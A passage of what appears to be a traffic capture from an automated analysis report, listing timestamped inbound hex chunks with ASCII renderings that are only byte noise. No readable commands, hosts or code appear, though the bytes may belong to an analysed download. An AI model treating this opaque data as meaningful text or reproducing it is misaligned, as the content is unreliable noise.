2021-09-29 19:26:41 UTC	52	IN	Data Raw: 97 a7 64 fc 1a 24 12 82 98 fa 06 be fa 9f c6 59 b4 92 21 53 2c ed 29 5e 0f 6a 77 1e fc 41 52 45 79 63 57 29 66 34 9b 96 65 2f f4 1c 9d 0e b8 e3 f2 34 76 a6 ee 8c 09 70 68 2c 76 be 30 b5 fa b3 bd 40 7c d5 9f 01 44 f3 46 c6 2f 1c 60 bf dc 0c 2d f9 8a 80 47 58 10 c7 20 69 ee 0f 2a ef 8f a8 76 81 01 01 34 ee 83 17 20 8e 82 d1 59 0b 27 cc f2 c5 c3 f5 b7 05 01 c3 77 e4 51 fd 8e c0 13 70 2b da a3 a0 12 89 72 2a 81 f0 5b a8 f1 54 ea 0e d7 eb 26 53 1f b8 71 36 20 29 3d 42 44 5b 4c 9c 8b bd 37 a7 7b ba b1 cb 2b 6f 21 6c df 29 ed 8a 2a 1d 71 e5 d6 74 87 cb c2 40 97 37 db 44 58 67 c4 36 36 40 60 9a 16 91 e2 a9 17 63 2f fc 18 37 d5 5d ac 97 f5 d1 17 bc b8 6d 62 b4 01 65 b2 20 a8 96 04 a0 07 81 78 28 f3 59 49 2b aa 83 de 13 27 2a 04 1c ea 4b 9c d9 01 e8 0b 27 91 04 10 Data Ascii: d$Y!S,)^jwAREycW)f4e/4vph,v0@\|DF/`-GX iv4 Y'wQp+r[T&Sq6 )=BD[L7{+o!l)qt@7DXg66@`c/7]mbe x(YI+'K'
2021-09-29 19:26:41 UTC	54	IN	Data Raw: 33 98 cd 30 f7 b7 63 0c 9f 37 b8 3c 82 26 e6 5c b5 a0 0a 63 a3 2f 99 cf 0e 88 d8 72 e0 31 89 1d 44 d7 55 70 64 a5 c7 b0 d7 f4 08 96 2b d7 bf 90 82 45 2e 47 bd aa 49 79 e5 5d 8d c4 10 1d 52 d7 65 61 52 17 13 40 02 0f 24 8c 16 3a d8 57 dc 0b 90 3a 1c b2 11 77 7e 8a eb 6d 97 c3 c7 de 41 df 22 2c b0 6b eb e6 0a 1f 9b 09 9e 41 89 7d 4b 1d 60 19 f9 cb 12 74 da a0 3f a8 c4 9b e9 6c 23 8e 33 77 fc c1 b2 ca 19 c3 eb 12 de 51 07 3f da 0d 8a 44 3b 4f c8 8f 3c 18 cb 13 09 fd 74 c2 98 88 74 18 bc 1e f8 dd 20 12 3b 65 71 ba d1 5b fd 17 b4 13 ac e7 88 3c 96 2e ed c6 9b 8e 84 35 f2 12 b6 d4 d6 c2 ea 83 9e d4 fc e7 11 9f 9d d4 4e 35 82 4f f3 38 69 ed 1f 5d b6 b2 fb 08 80 b7 4c 00 07 5c a5 de de c1 44 ed 3c ca de 4b c4 2e c6 74 fc e2 fb 6f 39 c9 c3 6f f3 7f 05 0c e1 0b ad Data Ascii: 30c7<&\c/r1DUpd+E.GIy]ReaR@$:W:w~mA",kA}K`t?l#3wQ?D;O<tt ;eq[<.5N5O8i]L\D<K.to9o
2021-09-29 19:26:41 UTC	55	IN	Data Raw: c1 42 6c 5f 4b e0 30 20 62 44 83 05 9c f4 f8 a2 82 db fd 06 08 d0 5e a8 ae 06 cd 06 44 91 6f 7d a5 0c 1d 47 7f a8 9c 2f ac 04 83 70 3e fd 63 cf c4 a4 c0 9d 15 0f 9c 16 16 ff 54 93 d8 06 f9 08 3f ae 04 10 e2 82 60 e4 fc 81 30 0a da de ef 82 64 f0 2c 11 0d a1 8d 3e 80 8a b6 cd 3e 9f ff 7b 84 f6 33 a3 0a 3d 18 48 23 92 d8 35 4b 7d 50 76 3b 76 6d dd 1e af 31 9e 1f d5 35 2b d7 bd aa 9c 63 27 25 3e 63 ef 0d b2 bd 23 43 74 9b 5b 82 0f a5 5c fe af 1a 2b 78 a9 f2 4b 64 67 f3 c5 0b 47 5d ca ad 51 85 0f 0b 57 97 a4 8f ad cc f3 3b 61 2a 33 4a 83 79 1b 30 2f 53 16 a5 a2 e4 46 9e 0b 59 53 0c d5 d2 db 24 7a 38 7c c7 b7 81 f9 44 0c f8 de 68 af 53 3e c0 1f 20 1d 52 ba 6a 6b 36 d0 b0 14 7c 96 08 43 41 0c d5 60 11 bb 69 90 c0 0a 7a b7 2d e7 1d 57 17 c4 73 ae 72 6f 71 1f 29 Data Ascii: Bl_K0 bD^Do}G/p>cT?`0d,>>{3=H#5K}Pv;vm15+c'%>c#Ct[\+xKdgG]QW;a*3Jy0/SFYS$z8\|DhS> Rjk6\|CA`iz-Wsroq)
2021-09-29 19:26:41 UTC	56	IN	Data Raw: 9f 8d 1b c7 1b d9 c9 ff d2 e4 5d 94 ed d7 c9 16 88 b0 5f 18 35 88 6d b3 29 62 f0 da 42 ac af 9f fa 8d 39 f1 2c e0 b3 56 4e c9 cb 4d cb 56 e0 b1 1c c4 2e cc a8 ea a9 7e 49 80 fe c3 65 4e 6e d8 a9 cc 0b ad 35 f4 0d 60 c2 24 52 1e b5 90 93 2d 8e 9b 96 dd a8 42 95 1a 08 1e 85 8e b3 42 96 2e 7a ff 2f 04 a4 78 a4 4c 2f 52 72 58 74 a5 2c 3a 46 29 54 2d 28 77 a0 69 44 54 31 8d ad 4c da 1a 24 18 20 d6 ea 1c 68 40 8f d7 52 ab 45 32 58 31 fd 38 59 02 42 92 1e fc 4b 48 9f 4e cf 7f 07 45 35 9d 85 48 3f fb 0f 90 18 ab f4 f9 2c 19 6e fd bc 00 63 52 06 30 af 58 a4 ed cd 4b 52 7b e7 8e 12 55 f9 57 c5 00 d0 6b 41 d7 08 1c e8 8e a2 b5 51 01 c8 5e 9d f9 27 c5 d7 62 a2 46 92 0f 00 36 ed 92 0f b4 bf af d1 75 0a 09 ea da 1a c9 e6 bb 1f 12 c7 a6 f7 49 eb 87 29 c4 4f 35 f3 7b b1 Data Ascii: ]_5m)bB9,VNMV.~IeNn5`$R-BB.z/xL/RrXt,:F)T-(wiDT1L$ h@RE2X18YBKHNE5H?,ncR0XKR{UWkAQ^'bF6uI)O5{
2021-09-29 19:26:41 UTC	57	IN	Data Raw: a4 e4 46 a9 0d 4a 41 06 ec e3 c0 3b 82 11 74 c8 a6 9b 87 49 83 4f e7 19 57 df 7b df 3f 39 25 55 c4 ce 75 3c 24 de 8f 7b bd 37 4f 43 27 25 61 00 a9 64 83 16 b3 57 bc 0f f6 1d 24 33 d5 76 b7 7a 79 64 0e 3c 5a 37 9e 95 72 91 47 d7 cf 85 c6 1f 31 57 f9 e9 76 9a 8b 47 67 0b b9 20 5a c3 07 77 73 2e 99 38 c2 26 98 f6 47 9c 92 af 46 1e a7 71 1f 4e 4e 9c d6 a4 af 89 d6 52 d2 36 ba 2d 35 98 ac 0d bd 94 1f 77 16 1e 20 ce 78 a4 aa 1d 06 ca 2a b1 5d 62 a0 dc 1d 57 08 9a 16 6c 4b 44 76 46 91 c5 98 a2 e3 20 be 38 d0 a4 83 99 89 2a 56 bf aa 41 79 e5 5d b4 5e 7f 00 59 c4 67 49 bb 3f f5 43 13 0c 32 98 3a a6 62 56 da 29 75 3f 73 a9 7f a9 75 a2 24 47 a4 c4 ef fa 6b ec 25 43 c2 43 77 ec 65 31 8a 0f 89 7e 64 f2 4a 1d 7b 33 cd fc 1e 5c 53 b7 17 8c e9 88 cb 8f 60 3c 35 66 f4 ee Data Ascii: FJA;tIOW{?9%Uu<${7OC'%adW$3vzyd<Z7rG1WvGg Zws.8&GFqNNR6-5w x]bWlKDvF 8VAy]^YgI?C2:bV)u?su$Gk%CCwe1~dJ{3\S`<5f
2021-09-29 19:26:41 UTC	59	IN	Data Raw: df de 7b ed 9c 13 41 e2 43 de 3e 0a e4 f6 b2 0c 39 e8 84 a4 8e cc 10 c1 45 91 81 1d 21 d6 68 bb 72 90 1a 22 bb e9 83 0c 2c 49 6d f5 5d 37 21 ce d0 09 c4 e1 ba 26 23 d0 70 ee 9e fa 97 14 12 5c 23 f2 6c a0 12 89 78 23 4c 04 5b a8 ec 4e 14 0e e0 cd 22 47 e8 b8 67 c8 55 2e 15 62 37 e1 46 c3 b8 0f 1f b9 78 a1 a4 e4 08 7e 26 7e 09 06 c5 92 04 ea 56 e5 d0 56 5c ce d3 4f 97 e6 d8 44 54 62 eb 45 8c 4a 6a 89 0e 4b 35 b8 10 7c 35 07 0c 33 9c 4c a8 b9 19 db 3f 95 94 43 66 9c 37 0e ca 26 80 c1 2e bf 0d 81 7b 21 ca 6e 56 d5 ad 87 e5 10 0f 90 2d 41 e0 46 86 d9 00 e1 32 12 88 fa 17 e6 bc 75 ec eb af 02 2e d8 d8 fa 95 4e cb 0f 15 1c b5 ba 05 7a 8b 9c e2 75 8c f2 62 9d e2 28 8b 2f 2b 07 52 f5 bc f0 2c 5c 5f 1b ec 13 b0 63 cc 10 91 37 b2 1f d3 29 15 b9 ea 55 69 8a 16 74 5e Data Ascii: {AC>9E!hr",Im]7!&#p\#lx#L[N"GgU.b7Fx~&~VV\ODTbEJjK5\|53L?Cf7&.{!nV-AF2u.Nzub(/+R,\_c7)Uit^
2021-09-29 19:26:41 UTC	60	IN	Data Raw: 7b 5e 5f 26 e6 48 02 18 3e 93 c0 c8 f7 14 fa 23 60 39 1c 39 55 a9 7f 8b eb 53 a8 d4 ca ec c7 ec 23 2c ac 50 70 f0 19 1c 8a 06 e0 a6 a0 f2 40 0e 62 3c f2 0c 17 74 10 a5 3f a4 f8 80 ae 73 21 8e 3f 75 fe f8 67 dd 36 f6 eb 27 dd 51 0b 06 c6 6d a3 46 2a 42 cc 78 2c 3d d9 0d 75 de 76 d3 95 80 83 08 9a 78 f4 f1 22 14 2c 46 7a ae b5 7d ee 1c a4 fc a4 e3 7d 28 85 23 82 fd 92 95 7c 32 cf 19 f2 c6 ef ab 1f a2 6d d4 fe d7 74 9f 92 6d 0a 32 93 4c 38 ff 71 f3 d8 47 a4 92 7d 1f 84 28 fc 20 f7 c1 7a de 00 cb 4d 9e 8e 5f b9 0b 12 22 ca a0 eb ee 3b 02 31 01 c3 6f f9 26 ba b8 d1 1c 7b 38 e1 08 5a 83 15 bd 0f b2 87 e4 7c 13 93 8b 11 7e 64 bb 64 cc 0f 8e 95 8b 15 79 42 ad 2a 06 f5 ae 69 a5 4e 3b 6d 8a c9 5c 70 3e 3f 5d 3c dd 8b 2b 69 5d db 7d 81 27 57 b4 62 ec 1f 35 16 93 c1 Data Ascii: {^_&H>#`99US#,Pp@b<t?s!?ug6'QmFBx,=uvx",Fz}}(#\|2mtm2L8qG}( zM_";1o&{8Z\|~ddyBiN;m\p>?]<+i]}'Wb5
2021-09-29 19:26:41 UTC	61	IN	Data Raw: de 8d d6 18 e6 a1 73 ec eb 8c 46 3d de de f8 9b 50 1d 3f 3d 1f ab 81 31 7e 9a 9c dc d6 8d de 67 99 f6 27 a3 0a 29 18 5f 23 92 d8 2e 71 72 7e dd ec 49 90 f5 5f b8 19 ba 37 92 3e 3d 9d ed 7d 05 9d 38 32 42 63 ee 1c aa 89 bb 43 58 9b 4a 03 0e a5 5c c7 aa 1c 08 6e a9 7e 58 7b 74 8e c4 27 5f 3f 7a ba cb 83 1c 37 6a 87 a4 98 b4 fb d3 c5 60 00 4c e9 8a 51 12 1c 64 51 79 89 88 a8 44 81 28 5e 2e bf c5 c0 ce 13 18 39 50 c2 ad 4f fc 70 aa 78 e1 32 5b bf c4 d7 35 1b 37 52 ab 72 a9 65 2f b1 38 09 01 3d 5c 40 12 c0 48 4d ad 76 8c 16 2f 56 bc 0f f6 1d 46 15 ff 47 b1 69 76 4f 28 29 31 a6 23 94 78 f4 2a d0 de 89 ba 6d 26 44 ff d1 67 b3 e4 57 6b 91 b8 2d 7b 44 17 70 51 19 9f 29 ce 61 70 f2 47 90 95 8b 7f c8 b4 77 18 71 75 80 5d 14 8c 50 92 e9 db 1c b9 53 9f f6 b1 06 ae 90 Data Ascii: sF=P?=1~g')_#.qr~I_7>=}82BcCXJ\n~X{t'_?z7j`LQdQyD(^.9POpx2[57Rre/8=\@HMv/VFGivO()1#x*m&DgWk-{DpQ)apGwqu]PS
2021-09-29 19:26:41 UTC	63	IN	Data Raw: 04 59 0b ad 34 7b 11 4c 9b 00 62 8f b2 87 bb 54 9e 9c 83 f1 52 ed b9 0b 05 93 9f 98 ab 64 90 21 43 2b 31 3c b1 3c 3f 4c 38 5a 9d d4 32 ea 3c 3d 53 02 4c 5d a4 7e 71 e5 57 98 52 11 b6 63 e2 26 3b 7e 1e d6 fd 19 83 4c fa 5a 48 bb 8c 1f 4c 00 71 38 59 0a 55 68 6b 60 50 55 5a 3f 7c 38 b5 56 32 84 d7 5d 0e 68 0d 8f 11 fa fc 9a a8 67 a0 e2 ff 15 15 d7 3c 71 a1 04 aa 89 3e ba 54 64 a8 82 6f d8 e2 41 c8 6e 1c 06 dd cc 27 27 af 91 de 3a 4a 17 de 07 86 8b 93 31 d1 7d e1 69 a1 82 1b 20 f6 c9 19 6f 0b 6d d7 6a 4b 3e 9a 46 0b c4 ea fd 11 4f 4c 61 e3 5f b7 8f 6e 8e 4d 25 fd 22 bf 32 15 7c 24 8d b8 44 c9 6a 5f 13 10 ab e2 53 db f0 be 78 99 3e 41 89 62 43 44 14 dc ca 99 26 a0 64 f2 b4 50 3a 79 35 71 37 23 e9 bc 00 c2 74 e9 c6 55 5b e3 40 48 bf d1 ce c9 59 4f e0 37 22 5e Data Ascii: Y4{LbTRd!C+1<<?L8Z2<=SL]~qWRc&;~LZHLq8YUhk`PUZ?\|8V2]hg<q>TdoAn'':J1}i omjK>FOLa_nM%"2\|$Dj_Sx>AbCD&dP:y5q7#tU[@HYO7"^
2021-09-29 19:26:41 UTC	64	IN	Data Raw: 7c 62 37 2c 35 8e 95 a6 6b ef 33 c7 c7 a7 35 60 30 5d 9c de 7e a2 ef 7e dd 0b ab 2a 63 45 12 5f fc 3f 9f 2f d3 83 bb f2 47 9b 97 9f 79 06 b1 6a 01 55 75 8d d3 a9 1c 9c a1 f8 ca 27 a9 28 27 e0 3c 23 bd 9e 36 a1 0e 0f 3c f0 41 3a bb 01 41 11 2a b1 5d 1c 92 c8 8d 7d 3b 98 0e 7a d1 7d 61 6e b4 cb 8b ac 81 1a 90 38 cb bd 9e bb bd 3c 41 aa ce 97 6a e4 57 af 37 0e 1c 58 ce 7b 58 b9 3e f5 49 2a da 34 89 34 e1 f5 55 da 25 0b 41 1c b4 74 c6 5b 88 e1 43 7a fd ef e3 69 ec 29 3d b2 37 65 e6 0a 0e 9b 04 9e 4c b0 f4 5b 16 05 27 e4 da 10 33 4b a0 3f a8 ff a0 2c 98 20 84 1d b5 f5 e9 67 e3 37 cb c3 0f b0 29 0d 2c d7 11 8c 44 3b 4f f3 be 2d 11 d0 cb 66 c4 73 ea fe 9d 7d 0f d9 c0 dd df 2a 38 7d 7d 6a ac bb 55 9f 13 b2 04 ca 7e 7f 3f 9c 00 1e ec 99 84 ed 1b e1 1b df 1d 9e e7 Data Ascii: \|b7,5k35`0]~~cE_?/GyjUu'('<#6<A:A]};z}an8<AjW7X{X>I44U%At[Czi)=7eL['3K?, g7),D;O-fs}8}}jU~?
2021-09-29 19:26:41 UTC	65	IN	Data Raw: 20 e2 6a b6 9f 8e 6d 23 93 e3 4f ad e1 66 b3 0f fb f7 07 56 f0 ad 4f a5 25 2e 13 65 c9 5c 46 c3 b3 11 23 b3 6c 89 05 cc 2b 74 00 65 2f 3f 4c 95 02 c2 73 f6 f3 4d 6c dd d4 c6 80 d7 d8 45 fc 5e c3 22 1e e6 6a 83 0f b6 32 b8 10 7c a8 3d 19 1b c2 5a 80 4f 15 d2 1d 96 95 55 73 a0 2c 09 dd 33 bc 8a 3f ad 1c 1e 40 28 e2 5f 7a 62 ab af de 3c 55 96 05 16 f3 63 93 dc 3e a8 1e 20 8c eb 1f d9 02 76 ec ed 86 4c 0d c9 fd ff 8c 51 6f 01 11 1c b2 30 26 5d 9f b2 66 28 8c f8 7b ae 69 1e a3 1b 2e 11 7c 65 93 f4 26 63 73 42 ec 13 a7 61 ca 95 be 19 b0 1e c6 1d 2c b5 fc 44 75 10 07 38 2d 70 4d 0d 82 b5 f5 ee 58 91 2f 0e 70 29 69 ed aa 06 2e 42 58 e2 59 71 4d d8 c7 27 4e 5d ce ad 46 8e 10 1f 45 96 82 8f 99 c5 c6 d3 ec 39 23 5b 8a f3 09 12 3b 7d d5 8f a0 ee 5f bc a2 75 41 0c c5 Data Ascii: jm#OfVO%.e\F#l+te/?LsMlE^"j2\|=ZOUs,3?@(_zb<Uc> vLQo0&]f({i.\|e&csBa,Du8-pMX/p)i.BXYqM'N]FE9#[;}_uA
2021-09-29 19:26:41 UTC	66	IN	Data Raw: b6 b8 e3 e2 18 59 b6 f3 ab 87 77 4b 2d 77 ad 63 a4 d9 b4 ba 4b f7 d2 9d 00 45 51 57 f4 3c 2b c6 41 dd 2a 27 97 02 97 a6 5b 11 d7 67 68 ef 0f 2a ec 3e 57 89 7e 09 19 2a f8 9b 15 31 af de d1 75 00 30 c3 e3 81 c2 f5 b1 1f 08 e9 e4 e5 40 fa 81 31 3a c4 21 e2 6a cf 0b 88 6d 29 bf e6 4a b6 de 3f 10 0f fd 92 38 46 e1 b3 5e bd 20 2e 15 62 52 44 4f 15 a1 1f 26 b3 6d 92 a4 dd 3d 66 f0 67 3b 00 ef 90 02 c4 61 fe fb 67 5e d0 d3 44 a8 5a df 44 5e 4e f3 14 27 68 7c 92 1f 1a dd b8 10 7d 86 13 3b 0f eb e0 a8 bf 1e fa 4d ba 90 49 48 5d 06 0a c0 08 7b 9d 2e b5 23 b6 7f 28 e8 4d 49 c4 b1 b8 02 07 15 87 0b 0b 6d 41 80 ca 07 fb 3c 31 aa ec 00 d4 03 4e ec ed 86 fd 3f fe ca c1 31 47 e3 34 0e 3c 3f ad 37 7e 8a 8c e2 90 8c f2 6e a2 ca 30 ad 0c a2 00 54 dd 92 e7 0f 4b 54 50 fd 09 Data Ascii: YwK-wcKEQW<+A'[gh>W~*1u0@1:!jm)J?8F^ .bRDO&m=fg;ag^DZD^N'h\|};MIH]{.#(MImA<1N?1G4<?7~n0TKTP
2021-09-29 19:26:41 UTC	67	IN	Data Raw: 33 ac 96 c5 2a 2d 47 b1 ef f8 78 e5 4c 95 5d 10 a5 59 c4 6d fb 54 3f e4 6b 2c 0b 35 8f 35 ba 61 57 da 29 6e 26 06 9c c5 a9 7f 80 f2 40 8c ec c5 d4 6f e0 0b 02 b8 43 71 f5 0e 04 8d 27 fa 42 a1 f4 62 39 6a 35 ef f2 2b 5c 55 ab 13 b2 f8 8d e9 ec 24 8e 33 4e d0 e9 6d c1 0a cc e8 0f ac eb 0d 2c d7 54 80 68 39 49 dd 95 2b 00 df 3d 26 d4 76 c8 8d 90 6b 1a be 67 cd d6 ae a3 31 b6 73 ad ad 77 c7 88 b2 02 a5 de 77 2e 9c b9 94 ac 17 8e 82 33 f2 12 c8 c9 c0 14 71 4b d2 44 f9 cb 16 9f 91 aa 13 2d 54 d4 39 1a 15 eb c0 5f b7 ba 26 88 92 0a 96 2e ee b3 50 3e 0f 1d dc d2 32 dd 3c 37 c4 2e cd bb f6 f8 2d 76 cb e9 15 e2 d2 79 0e 25 ca 00 bc 3d f6 0a 51 52 24 4e 19 a3 8b 35 7f a7 8e 9d c7 78 7c b0 1a 0f 10 9e 49 a5 58 90 ac 59 a2 99 2c bb 68 a3 57 38 54 a8 da 57 5e 2c 3b 4c Data Ascii: 3*-GxL]YmT?k,55aW)n&@oCq'Bb9j5+\U$3Nm,Th9I+=&vkg1sww.3qKD-T9_&.P>2<7.-vy%=QR$N5x\|IXY,hW8TW^,;L
2021-09-29 19:26:41 UTC	68	IN	Data Raw: fa a0 53 f9 a9 84 d6 3f ec be 92 1c e0 4c 82 e2 60 e9 1a 2a e3 e8 10 ce 85 5b ec ed 9c 6f 2d d8 18 e8 9d 47 73 3e 11 0d c0 28 37 7e 81 90 e2 06 8e f2 62 9d e1 09 8d 19 2f 01 58 ae 88 f5 2c 5c 7c 6e ce 17 b6 69 f5 3b b9 19 ba 37 ac 3b 3d 91 c2 71 63 9c 32 10 1c 71 ef 16 8c bd da 6a 7a 95 25 17 27 86 56 ed a0 2f 41 6e a9 e5 71 5f 74 0d ce 48 52 4d c0 bc e0 8f 63 a5 44 85 ae b4 b8 bc 61 c4 60 0c 4c ec 8a 51 12 27 27 6d 39 8e a0 e4 52 89 06 f2 40 0c ce d3 c1 48 a6 3b 50 ce b5 97 ef 44 87 20 58 33 51 a6 ae a1 3e 33 05 3d d4 79 74 36 3d b8 00 9d bd 3d 5c 58 16 ef e0 01 a9 7c 99 39 1a 51 94 5e e1 19 51 07 ff 58 b1 69 76 75 2c 23 24 88 98 84 7d 91 80 d7 cf 85 b8 67 5f 4a f2 fa 76 cd cd 44 67 0d 93 99 72 43 06 66 7e 15 e5 2d c4 08 aa da 69 9a 84 8d 7e 2d 95 7c 18 Data Ascii: S?L`*[o-Gs>(7~b/X,\\|ni;7;=qc2qjz%'V/Anq_tHRMcDa`LQ''m9R@H;PD X3Q>3=yt6==\X\|9Q^QXivu,#$}g_JvDgrCf~-i~-\|
2021-09-29 19:26:41 UTC	70	IN	Data Raw: 3a c9 82 0c d5 28 e4 34 fa e9 2f 49 18 ff c3 69 ea 7c 25 2d c8 0d d9 26 e7 00 50 97 30 53 0a 9a 8f ba c8 89 88 94 d6 7a 45 25 0b 05 05 a6 10 b5 53 8c 90 37 5f 0c 06 ae 6f b0 54 2e 4c ac da 58 19 d2 3b 4c 32 28 3e 3a 6f 7c 95 46 85 30 8b b6 6d ec 12 30 3a 09 c3 fa 00 a8 de 98 c6 59 bd 87 35 47 08 4e 29 5e 1f 42 eb 1f fc 4b 3d 63 7d 63 51 38 4e 3d 8a 92 2d d1 f5 1c 82 75 b9 e1 e8 3e 19 8f ff bc 0c 61 42 05 58 bc 40 b3 95 86 a9 53 7d eb 8c 09 2b e4 47 d7 22 dd 66 69 ea 20 38 e2 a6 90 a6 5b 1a 1f 4f 88 ea 18 f6 c5 66 b9 72 90 0c 34 f7 17 7c f9 54 6d 7d d0 7f 0d 28 e6 56 1e c3 f3 99 83 1f d0 76 cc 63 fa 90 34 3a d2 26 e2 6a 88 36 89 6d 29 ba 78 5f b9 f0 3d ef 0e fb f7 4e bb e0 b9 6d c1 09 a2 11 73 42 73 cb c7 b2 03 1f 84 7b a1 a8 e4 a5 7a 26 72 09 0c c1 92 08 Data Ascii: :(4/Ii\|%-&P0SzE%S7_oT.LX;L2(>:o\|F0m0:Y5GN)^BK=c}cQ8N=-u>aBX@S}+G"fi 8[Ofr4\|Tm}(Vvc4:&j6m)x_=NmsBs{z&r
2021-09-29 19:26:41 UTC	71	IN	Data Raw: c1 7d 3e a2 89 75 c1 14 44 af 0d e5 08 5f 0e dc 88 b0 45 7b 72 18 35 2a 82 8c 9d 78 ef 31 c9 c6 71 a8 4c 3a 46 f4 e6 63 fa 75 59 6d 18 a3 2a 63 4b 19 61 87 3c b3 24 cc 07 a8 9d 43 98 84 8d 62 01 b0 68 01 7d 75 85 c9 5d bf a1 b0 fa d4 21 af 6e af ec a2 04 bd 8f 3f ad 1e e0 27 ca 5f b7 ad 06 74 2e 35 ba 44 05 88 cf 15 4e 27 77 16 40 58 53 72 78 b6 4f 2f b5 f0 1e ff 3d d2 ae 9f 8c a8 35 54 b3 c5 e9 70 fa 43 5b 59 3c 16 50 d3 02 5a 55 3f ff 5c 17 1a 3d 89 2f c1 cc a9 db 0f 67 21 0f bc 7e b8 77 93 1f 44 88 cb d6 d3 7f f3 34 b0 a0 50 7f e6 1b 1d 97 1a 71 47 8d f9 42 05 05 1c e4 da 10 43 43 b2 37 a2 f8 80 d7 67 21 a2 36 71 e7 e1 6d da 11 d6 db f7 de 7d 0f 07 d8 46 4e bb c4 b6 f3 dd 2c 11 d0 04 63 ba 64 c3 9e 93 57 09 a5 41 d9 df fe 14 2a 6c e0 bd be 6c e9 04 b7 Data Ascii: }>uD_E{r5x1qL:FcuYmcKa<$Cbh}u]!n?'_t.5DN'w@XSrxO/=5TpC[Y<PZU?\=/g!~wD4PqGBCC7g!6qm}FN,cdWA*ll
2021-09-29 19:26:41 UTC	72	IN	Data Raw: 11 24 d9 0c 09 c6 e4 b4 1f 14 ee db 1a bf 05 4e 2f 37 74 15 e2 6c aa 01 87 6b 2e ba cf 5b b9 fc 90 16 09 d1 f4 0b 47 e1 f8 53 c8 21 2e 15 73 44 d1 46 c3 b2 32 36 a7 7b 60 a3 cc 2b 71 26 74 21 32 c1 92 03 c2 72 e5 d0 17 4f cb c2 dc be d7 d8 a5 5f 4f e0 27 36 4a 6a 99 05 96 e3 a3 20 7b 24 a0 19 1b c3 d4 a8 bf 05 c4 14 d5 18 42 60 b2 10 d0 d9 25 a3 a4 af bf 0b 92 57 6f e3 5e 58 d6 ac b8 bb 9d 0e 96 03 73 78 46 80 c0 0b e1 32 27 8c fa 3a c2 87 5d a3 e5 93 77 b7 dc de ef 8b ca e4 3e 11 1d a7 86 23 56 28 9a ca 22 98 da bf 8d e5 27 b5 96 28 07 54 dc 87 e0 38 72 d4 46 ec 19 b4 79 f5 e8 b8 19 ba 33 c8 37 29 bf 71 51 63 9a 2e b5 2a 71 ef 1d b4 b5 c9 6a fb 91 25 1b 27 39 56 ed a0 0d e6 49 77 ec 7c 53 43 0d c4 2d 5d 48 e8 82 cb 89 1a c1 44 82 b3 48 b4 d4 c6 c0 5e 71 Data Ascii: $N/7tlk.[GS!.sDF26{`+q&t!2rO_O'6Jj {$B`%Wo^XsxF2':]w>#V("'(T8rFy37)qQc.*qj%'9VIw\|SC-]HDH^q
2021-09-29 19:26:41 UTC	73	IN	Data Raw: da d5 19 6a 33 8a 50 1b 5c 53 b2 38 d1 e1 8a c1 9f 33 82 1d f1 f4 e9 67 da 15 d8 c4 21 b9 50 0d 26 d4 6f ad 29 31 4b db 80 42 03 db 15 6c c6 7c b1 bc 9b 7d 0f a5 7a cd d4 08 b4 2e 6c 66 d2 94 7f ff 11 a3 09 b4 c2 11 1b 94 28 84 fd 92 9f 88 5c c5 19 d9 c5 c6 c9 f1 55 fd ed fb cb 10 9f 91 ac cf 26 8b 54 26 38 6d c4 a6 b1 42 5c f6 33 84 13 fb 3f e7 a3 4a 21 00 cb 4d 7f 3b c9 79 1d d0 34 cc a8 fb f2 15 64 11 66 c1 6f f9 e5 0e 24 c8 14 b1 1c 5c 00 4b 8e 1d df 0b b2 81 93 ec 8f 9b 96 cc 01 d7 b9 0b 0f 05 91 bf 39 78 86 bd 53 3f 20 15 a0 7f bc 68 a3 54 aa dc 7c 96 2d 3a 4c a4 42 32 20 4f f3 fa 6c 87 ac 9c a9 7d e2 2a b8 03 8c dd da 8c be 53 9f 5a 48 b2 88 3e 3e bc fc 27 42 35 fb 77 1f fc dd 43 4b 62 43 f4 29 47 35 07 87 4c 30 d4 8a 88 0e b8 7f f9 3a 69 ae e2 e3 Data Ascii: j3P\S83g!P&o)1KBl\|}z.lf(\U&T&8mB\3?J!M;y4dfo$\K9xS? hT\|-:LB2 Ol}*SZH>>'B5wCKbC)G5L0:i
2021-09-29 19:26:41 UTC	75	IN	Data Raw: 63 52 c4 b0 b6 6f d7 0c 91 b1 b4 1f d3 29 b0 90 ea 55 62 88 2c 2c 05 d2 ef 1c aa 89 41 42 58 9b 36 19 1e ac 7a b4 bb 0e 10 e5 a8 e3 53 56 24 1c cc 0b 02 5d c8 92 44 88 10 15 69 c6 d7 bc bd d3 d1 d6 6a 17 29 4a 82 79 0f 35 2f 53 16 ab a2 e4 46 90 24 5b 49 24 d3 c1 c4 3d eb 1f 52 c8 a0 80 e2 7d 20 4b e1 34 3e 86 c3 df 39 22 05 7a f3 7a 74 3a 41 99 3a 7a bb 3a 4d 40 70 d0 61 00 a3 a8 86 16 3c 56 bc 0f cd 21 57 11 dd a8 b1 78 71 74 c9 2b 38 9f 92 84 76 70 8e e9 4d 71 56 9f 21 5c e4 2c 6f a9 f8 4d 76 07 25 9d 4d 1a f8 88 86 3a b5 29 c4 0e fd ee 47 9a 84 87 68 1e 21 7b 09 7d 5f 8c d3 a3 7f 8c b9 eb df 36 b0 3c 29 f7 b1 0d a6 ae 33 b2 39 1f 26 e6 c9 a6 aa 0a 1a 08 2a b1 5d 07 97 c4 35 ea 30 89 1d 44 e1 51 70 68 9c e5 98 a4 ff 04 98 10 e1 ae 95 a0 8e 25 46 bb c5 Data Ascii: cRo)Ub,,ABX6zSV$]Dij)Jy5/SF$[I$=R} K4>9"zzt:A:z:M@pa<V!Wxqt+8vpMqV!\,oMv%M:)Gh!{}_6<)39&*]50DQph%F
2021-09-29 19:26:41 UTC	76	IN	Data Raw: 76 2b 2c 64 16 53 3c 32 79 36 7e 6d 87 30 92 ba 69 fd 13 3b 08 7c c6 d6 08 6e 4c 9f c6 5b 94 87 21 53 2a e1 36 45 18 6a 7e 00 e9 bf 53 69 77 5b 09 28 47 35 84 80 4f 2e fd 03 9e f0 b9 cf fd 30 5e 9b f8 bc 0c 66 63 03 76 be 4a a3 ba d6 54 ac 84 f2 8a 0d 44 fa 59 c3 d6 02 46 4f 0d 3b 38 e8 8c 80 b2 5b 10 cb 43 86 fb 02 20 df 7e 56 77 ad 06 da 84 e9 83 07 0f 83 7c d0 7f 6f 3d cc da 10 c7 9a ac 0c 1b da 7c f9 4d fa 99 21 1c a2 23 ce 62 70 32 89 6d 21 ba e3 5b b9 fc 42 0b 00 f6 fd 28 58 f3 47 66 e4 29 16 f3 73 44 5b 59 d0 bf 05 3e b8 6b 5f a3 e0 3e 7a 0e 4e 24 28 c7 84 2a ec 72 e5 da 4a 0f 14 3c b5 40 c8 c9 49 5e 46 fe c8 37 66 7f 84 2d a1 e7 b8 16 6a 0c 2c 19 1b c9 5a e8 3f 14 d2 17 a5 99 4e 